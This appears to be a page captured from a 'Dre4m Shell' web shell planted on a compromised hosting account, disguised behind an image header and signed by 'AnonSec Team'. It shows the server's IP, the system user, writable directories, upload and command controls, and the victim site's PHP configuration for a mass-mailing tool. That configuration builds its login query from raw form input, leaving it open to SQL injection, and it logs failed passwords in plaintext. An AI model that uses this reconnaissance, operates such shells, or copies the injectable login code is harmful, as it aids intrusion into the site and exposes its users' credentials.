JFIF``x Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/seo-mailing/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/seo-mailing/_config.php
<?php
		require_once('global_conf.php');

	 $db = mysqli_connect($INFO['sql_host'], $INFO['sql_user'], $INFO['sql_pass'], $INFO['sql_database'])
        or die ("Connexion impossible au serveur !");
	
	if((PHP_SAPI == 'cli' && !isset($_SERVER['TERM'])) || isset($_SERVER['SHELL'])){
	}else{
		if (!isset($_SESSION)) session_start();
	}

/*
 	$_SET = mysqli_fetch_array(mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."settings WHERE id = 1 LIMIT 1"));
	date_default_timezone_set($_SET['timezone']);

	$que = "SELECT id FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE status = 0";
    $_que = $db->query($que);

	if($_que == 0){
	
		$que = ("SELECT * FROM ".$INFO['sql_tbl_prefix']."user WHERE limit_day > 0 AND limit_day > ulimit AND ulimit = 0 AND (last_update_date -".time().") >=3600");
        $res = $db->query($que);
       while ($data = mysqli_fetch_array($res)) {
			$sel = "UPDATE ".$INFO['sql_tbl_prefix']."user SET ulimit = limit_day, last_update_date ='".time()."' WHERE id = ".$ul['id']." LIMIT 1";
            $ress = $db->query($sel);
		}
	}
*/


	$_SET = mysqli_fetch_array(mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."settings WHERE id = 1 LIMIT 1"));
	date_default_timezone_set($_SET['timezone']);
	
	$que = mysqli_query($db,"SELECT id FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE status = 0");
	if(mysqli_num_rows($que) == 0){
	
		$que =  mysqli_query($db,"SELECT *
FROM ".$INFO['sql_tbl_prefix']."user WHERE limit_day > 0 AND limit_day > ulimit AND ulimit = 0 AND (last_update_date -".time().") >=3600");
		while($ul = mysqli_fetch_array($que)){
			mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."user SET ulimit = limit_day, last_update_date ='".time()."' WHERE id = ".$ul['id']." LIMIT 1");
		}
	}


	function __($val){
		global $lang;
		if(isset($lang[$val])){
			return $lang[$val];
		}else{
			return "<i class='icon-warning-sign'></i> ".$val;
		}
	}

	if($_SET['debug_mode']==1){
		ini_set('display_errors', 1);
		error_reporting(E_ALL);
	}else{
		ini_set('display_errors', 0);
  		error_reporting(0);
	}
 	
	if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] <> ''){
		$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
	}elseif(isset($_SERVER['REMOTE_ADDR'])){
		$ip = $_SERVER['REMOTE_ADDR'];
	}else{
		$ip = $_SERVER['SERVER_ADDR'];
	}
	
		
////////////////////////////////////////////////	
	
	if (isset($_POST['login']) && isset($_POST['pass'])) {
	
		$query = "SELECT * FROM ".$INFO['sql_tbl_prefix']."user WHERE (email = '{$_POST['login']}' OR login='{$_POST['login']}') AND passw='".sha1(trim($_POST['pass']))."' LIMIT 1";
		$result = mysqli_query($db,$query) or exit("select advice error");
		if(mysqli_num_rows($result) > 0){
			$line = mysqli_fetch_array($result);
			
			$name_group = mysqli_fetch_array(mysqli_query($db,"SELECT name FROM ".$INFO['sql_tbl_prefix']."user_groups WHERE id = {$line['id_cat']} LIMIT 1"));
			
			$_SESSION['user'] 		= $line['name'];
			$_SESSION['id'] 		= $line['id'];
			$_SESSION['id_cat'] 	= $line['id_cat'];
			$_SESSION['group'] 		= $name_group['name'];
			$_SESSION['limit']		= $line['ulimit'];
			$_SESSION['last_update_date'] = $line['last_update_date'];
			if($line['status'] == 1){
				$_SESSION['status'] = 1;
			}
			 $query = "UPDATE ".$INFO['sql_tbl_prefix']."user SET data_in ='".time()."' WHERE id = ".$_SESSION['id']." LIMIT 1";
			 mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);
			 
			 mysqli_query($db,"INSERT INTO ".$INFO['sql_tbl_prefix']."system_logs 
			 (id, id_type, id_user, ip, ddate, url, message) 
			 VALUES 
			 ('', '1', '{$_SESSION['id']}','{$ip}','".time()."', '".$_SERVER['REQUEST_URI']."', 'User {$_SESSION['user']} login in system')");
			 
		}else{
			$admin = false;
			mysqli_query($db,"INSERT INTO ".$INFO['sql_tbl_prefix']."system_logs 
			 (id, id_type, id_user, ip, ddate, url, message) 
			 VALUES 
			 ('', '6', '0','{$ip}','".time()."', '".$_SERVER['REQUEST_URI']."', 'Error autorization: login {$_POST['login']} pass= {$_POST['pass']}')");
			 $error = __('Error: Invalid username, email or password');
		}
	}

	$que = mysqli_query($db,"SELECT *
FROM ".$INFO['sql_tbl_prefix']."user WHERE limit_day > 0 AND limit_day > ulimit AND  (
 (".time()." - last_update_date) >=3600 AND 
	(".time()." - 
	(SELECT ddate FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE 
		".$INFO['sql_tbl_prefix']."mail_task_email.id_avtor = ".$INFO['sql_tbl_prefix']."user.id
		 ORDER by ".$INFO['sql_tbl_prefix']."mail_task_email.ddate DESC
	 LIMIT 1)
		) >= 3600)");
				
if(mysqli_num_rows($que) > 0){
	while($ul = mysqli_fetch_array($que)){
		mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."user SET ulimit = limit_day, last_update_date ='".time()."' WHERE id = ".$ul['id']." LIMIT 1");
	}
}
if(isset($_SESSION['id'])){
	$lim_q = mysqli_query($db,"SELECT ulimit,limit_day FROM ".$INFO['sql_tbl_prefix']."user WHERE id = ".$_SESSION['id']." LIMIT 1");
	if(mysqli_num_rows($lim_q) > 0){
		$ulimit = mysqli_fetch_array($lim_q);
	}
}


if(isset($_SESSION['id_cat'])){
		$_SESSION['PERM'] = array();
			$res_perms = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."permission WHERE id_group = {$_SESSION['id_cat']}");
			if(mysqli_num_rows($res_perms) > 0){
				while($_PERM_res = mysqli_fetch_array($res_perms)){
					$_SESSION['PERM'][$_PERM_res['id_section']] = array("d"=>$_PERM_res['d'],"a"=>$_PERM_res['a'],"e"=>$_PERM_res['e'],"r"=>$_PERM_res['r'],"v"=>$_PERM_res['v']);
				}
			}
		$admin=true;
	}else{
		$_SESSION['PERM'] = array();
		$admin=false;
}









if(!isset($_SESSION['setting_logo']) || isset($_SESSION['mime'])){
	 $setting_logo = mysqli_fetch_array(mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."security WHERE id = 1 LIMIT 1"));
	 $_SESSION['setting_logo'] = $setting_logo['file_settings'];
	 $_SESSION['mime'] = $setting_logo['mime'];
	 $_SESSION['file_import'] = $setting_logo['file_import'];
 	 $_SESSION['file_attach'] = $setting_logo['file_attach'];
}
function file_perms($file, $octal = false)
{
    if(!file_exists($file)) return false;
    $perms = fileperms($file);
    $cut = $octal ? 2 : 3;
    return substr(decoct($perms), $cut);
}


if (isset($_SERVER['REQUEST_METHOD']) && isset($_SESSION['id']) && $_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['logout'])) { 
		 mysqli_query($db,"INSERT INTO ".$INFO['sql_tbl_prefix']."system_logs 
		 (id, id_type, id_user, ip, ddate, url, message) 
		 VALUES 
		 ('', '2', '{$_SESSION['id']}', '{$ip}', '".time()."', '".$_SERVER['REQUEST_URI']."', 'User {$_SESSION['user']} is logged out')");
			$_SESSION = array();
			session_destroy();

		?>
		<script type="application/javascript">
			document.location.href="<?php echo $INFO['base_url'] ?>";
		</script> 
<?php } 

$mime_types=array(
                          'gif'=>'image/gif',
                          'jpg'=>'image/jpeg',
                          'jpeg'=>'image/jpeg',
                          'png'=>'image/png',
                          'bmp'=>'image/bmp',
                          'tif'=>'image/tiff',
                          'tiff'=>'image/tiff',
                          'html'=>'text/html',
                          'htm'=>'text/html',
                          'swf'=>'application/x-shockware-flash',
                          'rar'=>'application/x-rar-compressed',
                          'zip'=>'application/zip'
                         );
require_once('class.phpmailer.php');						 


//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////	
 	require_once('lang/fr.php');
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////	





function hrefCallback($data, $symb = '...', $sizeSymb = 40, $sizeEnd = 7) {
	mb_internal_encoding('UTF-8');
	
	$href = $data[2] == 'www.' 
		? 'http://' . $data[1] 
		: $data[1]
	;
	
	$name = mb_strlen($data[1]) > $sizeSymb 
		? mb_substr($data[1], 0, ($sizeSymb - (mb_strlen($symb) + $sizeEnd))) . $symb . mb_substr($data[1], -$sizeEnd) 
		: $data[1]
	;
	
	return " <a href=\"$href\" target=\"_blank\">$name</a> ";
}
 

class IPAPI {
    static $fields = 65535;     
    static $use_xcache = false;  
    static $api = "http://ip-api.com/php/";

    public $status, $country, $countryCode, $region, $regionName, $city, $zip, $lat, $lon, $timezone, $isp, $org, $as, $reverse, $query, $message;

    public static function query($q) {
        $data = self::communicate($q);
      //  $result = new static();
		foreach($data as $key => $val) {
            $result->$key = $val;
        }
        return $result;
    }
 
    private function communicate($q) {
        $q_hash = md5('ipapi'.$q);
        if(self::$use_xcache && xcache_isset($q_hash)) {
            return xcache_get($q_hash);
        }
        if(is_callable('curl_init')) {
            $c = curl_init();
            curl_setopt($c, CURLOPT_URL, self::$api.$q.'?fields='.self::$fields);
            curl_setopt($c, CURLOPT_HEADER, false);
            curl_setopt($c, CURLOPT_TIMEOUT, 30);
            curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
            $result_array = unserialize(curl_exec($c));
            curl_close($c);
        } else {
            $result_array = unserialize(file_get_contents(self::$api.$q.'?fields='.self::$fields));
        }
        if(self::$use_xcache) {
            xcache_set($q_hash, $result_array, 86400);
        }
        return $result_array;
    }
}
 






function curl_get($url, array $get = NULL, array $options = array()) 
{    
    $defaults = array( 
        CURLOPT_URL => $url, 
        CURLOPT_HEADER => 0, 
        CURLOPT_RETURNTRANSFER => TRUE, 
        CURLOPT_TIMEOUT => 4 
    ); 
    
    $ch = curl_init(); 
    curl_setopt_array($ch, ($options + $defaults)); 
    if( ! $result = curl_exec($ch)) 
    { 
        @trigger_error(curl_error($ch)); 
    } 
    curl_close($ch); 
    return $result; 
} 



//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////	
if(isset($_SET['auto_lang']) && $_SET['auto_lang'] == 1){
		require_once('lang/fr.php');
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////	


function CheckMX($domain) {
        exec("dig +short MX " . escapeshellarg($domain),$ips);
        if($ips[0] == "") {
				echo $domain."- не существует";
                return FALSE;
        }
		echo $domain."- существует";
        return TRUE;
}

?>

Anon7 - 2022
AnonSec Team